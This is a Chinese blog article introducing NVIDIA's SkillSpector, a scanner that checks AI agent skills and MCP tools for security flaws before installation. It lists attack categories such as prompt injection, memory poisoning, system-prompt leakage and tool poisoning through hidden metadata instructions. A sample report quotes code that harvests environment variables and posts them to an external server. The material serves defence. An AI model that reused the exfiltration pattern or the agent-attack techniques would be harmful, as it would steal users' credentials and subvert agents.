NVIDIA 开源 SkillSpector:在安装 AI Agent 技能之前,先问问它安不安全
Agent 技能的「npm 时刻」
还记得 npm 生态早期的供应链攻击吗?有人发布一个叫 event-stream 的包,被一个恶意维护者接管后悄悄注入了窃取比特币的代码,数百万次下载后才发现。
AI Agent 的技能生态正在经历同样的问题,甚至更严重。
原因很简单:一个 Agent 技能不只是被你的代码引用,它直接运行在 Agent 的执行环境里,拥有 Agent 的完整权限。 当 Claude Code 加载一个技能时,那个技能里的每一行 Markdown 指令、每一个 Python 脚本,都获得了与你相同的文件系统访问权、网络访问权和工具调用权。
2026 年 6 月,NVIDIA 发布了 SkillSpector——一个专门用来扫描 Agent 技能安全性的开源工具。它要回答的问题只有一个:"这个技能安装起来安全吗?"
一组让人不安的数字
SkillSpector 的背后是一项大规模实证研究:来自 Liu et al.(2026)的论文《Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale》。
研究扫描了来自主要 marketplace 的 42,447 个真实技能,发现:
- 26.1% 的技能包含至少一个漏洞
- 5.2% 的技能存在明确的恶意企图
- 包含可执行脚本的技能,存在漏洞的可能性是纯 Markdown 技能的 2.12 倍
四分之一。超过四分之一的 Agent 技能存在安全问题。
这意味着,如果你的 Agent 安装了 10 个技能,统计学上至少有 2-3 个存在漏洞。而其中可能有 1 个是蓄意设计的恶意技能——窃取你的 API Key、监控你的对话上下文、或者把你的系统提示词发送到外部服务器。
SkillSpector 做了什么
SkillSpector 采用两阶段检测流水线:
Stage 1:静态分析(快速、高召回)
通过 11 个静态分析器进行正则匹配和 AST 分析:
- 正则模式匹配:检测已知的危险代码模式
- AST 行为分析:检测
exec()、eval()、subprocess、os.system等危险调用 - 依赖漏洞查询:通过 OSV.dev 实时查询已知 CVE(无需 API Key)
- YARA 规则匹配:检测已知恶意软件签名
Stage 2:LLM 语义分析(可选、高精度)
将静态分析结果交给 LLM 做二次评估:
- 理解上下文和意图(不是所有
os.environ都是恶意的) - 过滤误报(precision 提升到约 87%)
- 生成人类可读的解释
LLM 的 prompt 内置了反越狱保护,防止恶意技能操纵分析过程。
支持的 LLM 提供商:
- OpenAI(默认 gpt-5.4)
- Anthropic(默认 claude-opus-4-6)
- NVIDIA build.nvidia.com(默认 deepseek-v4-flash)
- 本地模型:Ollama、vLLM、llama.cpp 等 OpenAI 兼容端点
64 种漏洞模式,16 大类别
SkillSpector 检测的漏洞类型覆盖非常全面:
直接攻击类
| 类别 | 模式数 | 典型威胁 |
|---|---|---|
| Prompt Injection | 5 | 指令覆盖、隐藏指令、上下文外泄 |
| Data Exfiltration | 4 | 环境变量收割、文件系统枚举、数据传输 |
| Privilege Escalation | 3 | 过度权限、sudo 执行、凭证访问 |
| Supply Chain | 6 | 未固定版本依赖、curl | bash、混淆代码、已知 CVE |
Agent 特有类
| 类别 | 模式数 | 典型威胁 |
|---|---|---|
| Excessive Agency | 4 | 无限制工具访问、自主决策、范围蔓延 |
| System Prompt Leakage | 3 | 直接泄露、间接提取、工具外泄 |
| Memory Poisoning | 3 | 持久化上下文注入、记忆篡改 |
| Rogue Agent | 2 | 自修改代码、未授权的持久化(cron/startup) |
| Tool Misuse | 3 | 参数滥用、链式绕过、不安全默认值 |
| Trigger Abuse | 3 | 过于宽泛的触发器、影子命令触发器 |
代码级分析
| 类别 | 模式数 | 典型威胁 |
|---|---|---|
| Behavioral AST | 8 | exec/eval 调用、动态 import、危险执行链 |
| Taint Tracking | 5 | 凭证外泄链、文件→网络外泄、外部输入→代码执行 |
| YARA Signatures | 4 | 恶意软件匹配、Webshell、挖矿器、黑客工具 |
MCP 协议类
| 类别 | 模式数 | 典型威胁 |
|---|---|---|
| MCP Least Privilege | 4 | 未声明能力、通配符权限、权限过度声明 |
| MCP Tool Poisoning | 4 | 元数据中隐藏指令、Unicode 欺骗、参数注入 |
5 分钟上手
安装
git clone https://github.com/NVIDIA/SkillSpector.git
cd SkillSpector
# 创建虚拟环境
uv venv .venv && source .venv/bin/activate
# 安装
make install或者用 Docker,不需要安装 Python:
make docker-build扫描一个技能
# 扫描本地目录
skillspector scan ./my-skill/
# 扫描单个 SKILL.md 文件
skillspector scan ./SKILL.md
# 扫描 Git 仓库
skillspector scan https://github.com/user/my-skill
# 扫描 zip 包
skillspector scan ./my-skill.zip
# 仅静态分析(不使用 LLM)
skillspector scan ./my-skill/ --no-llmDocker 方式
docker run --rm -v "$PWD:/scan" skillspector scan ./my-skill/ --no-llm输出格式
# 终端输出(默认,美化格式)
skillspector scan ./my-skill/
# JSON(机器可读)
skillspector scan ./my-skill/ --format json --output report.json
# Markdown(文档用)
skillspector scan ./my-skill/ --format markdown --output report.md
# SARIF(CI/CD 集成)
skillspector scan ./my-skill/ --format sarif --output report.sarif风险评分体系
SkillSpector 为每个技能生成 0-100 的风险评分:
- CRITICAL 问题:+50 分
- HIGH 问题:+25 分
- MEDIUM 问题:+10 分
- LOW 问题:+5 分
- 包含可执行脚本:×1.3 倍乘数
| 分数 | 风险等级 | 建议 |
|---|---|---|
| 0-20 | LOW | 安全安装 |
| 21-50 | MEDIUM | 谨慎使用 |
| 51-80 | HIGH | 不建议安装 |
| 81-100 | CRITICAL | 绝对不要安装 |
一个真实的扫描结果
看看 SkillSpector 对一个可疑技能的报告:
SkillSpector Security Report v2.0.0
Skill: suspicious-skill
Source: ./suspicious-skill/
Risk Assessment
Score 78/100
Severity HIGH
Recommendation DO NOT INSTALL
Issues (2)
HIGH: Env Variable Harvesting (E2)
Location: scripts/sync.py:23
Finding: for key, val in os.environ.items():...
Confidence: 94%
Explanation: This code collects environment variables containing
API keys and secrets, then sends them to an external server.
HIGH: External Transmission (E1)
Location: scripts/sync.py:45
Finding: requests.post("https://api.skill.io/env"...
Confidence: 89%
Explanation: Data is being sent to an external server. Combined
with env harvesting above, this indicates credential exfiltration.这个技能表面上是一个「数据同步」工具,但实际代码在收集所有环境变量(包括你的 API Key)并发送到外部服务器。评分 78 分,HIGH 级别,明确建议「不要安装」。
接入 CI/CD
SARIF 格式让 SkillSpector 可以无缝接入你的 CI 流程:
# 在 CI 中扫描所有技能
skillspector scan ./skills/ --format sarif --output report.sarifGitHub Actions、GitLab CI 等都原生支持 SARIF 格式的安全扫描报告。每次 PR 提交时自动扫描,发现高风险技能直接阻止合并。
Python API 也可以集成到你的工具链中:
from skillspector import graph
result = graph.invoke({
"input_path": "/path/to/skill",
"output_format": "json",
"use_llm": True,
})
if result["risk_score"] > 50:
raise RuntimeError(f"Skill failed security check: {result['risk_severity']}")MCP 安全:一个值得关注的新领域
SkillSpector 特别加入了 MCP(Model Context Protocol)协议的安全检测。MCP 正在成为 Agent 连接外部服务的标准协议,但它也带来了新的攻击面:
- Tool Poisoning(工具投毒):在工具元数据中嵌入隐藏指令(HTML 注释、零宽字符、Base64 编码)
- Unicode 欺骗:使用同形异义字符、RTL 覆盖、混合脚本来伪装标识符
- 参数描述注入:在参数定义中注入恶意内容
- 最小权限违规:代码使用了未在声明中列出的能力
这些攻击方式在传统软件安全中很少见,但在 Agent 生态中可能是致命的。
局限性
SkillSpector 是强大的第一道防线,但也有边界:
- 非英文内容:可能遗漏其他语言的攻击模式
- 图片攻击:无法分析图片中的文字
- 加密/二进制代码:无法分析编译或加密的内容
- 运行时行为:仅静态分析,不动态执行
- 离线模式:SC4 依赖 OSV.dev 网络访问,离线时降级为静态列表
为什么这件事很重要
Agent 技能的威胁模型和 npm 供应链攻击高度相似:
- 隐式信任:Agent 对其安装的技能赋予隐式信任,就像 npm 包被安装后获得了进程的全部权限
- 审核缺失:大部分 marketplace 没有严格的安全审查流程
- 影响面大:一个恶意技能可以窃取凭证、监控对话、注入指令、篡改文件
- 发现困难:恶意行为可能隐藏在正常的功能描述后面,用户很难察觉
区别在于,Agent 技能的攻击面比 npm 更大。npm 包影响的是你的 Node.js 进程,Agent 技能影响的是你的 AI Agent——它可以操作你的文件系统、访问你的邮件、修改你的日历、甚至代替你发送消息。
在安装任何 Agent 技能之前,先跑一遍 SkillSpector。 这不是可选项,这是 2026 年 Agent 开发的基本卫生要求。
作者: itech001 来源: 公众号:AI人工智能时代 网站: https://www.theaiera.cn/ 每日分享最前沿的AI新闻资讯和技术研究。
本文首发于 AI人工智能时代,转载请注明出处。
参考来源: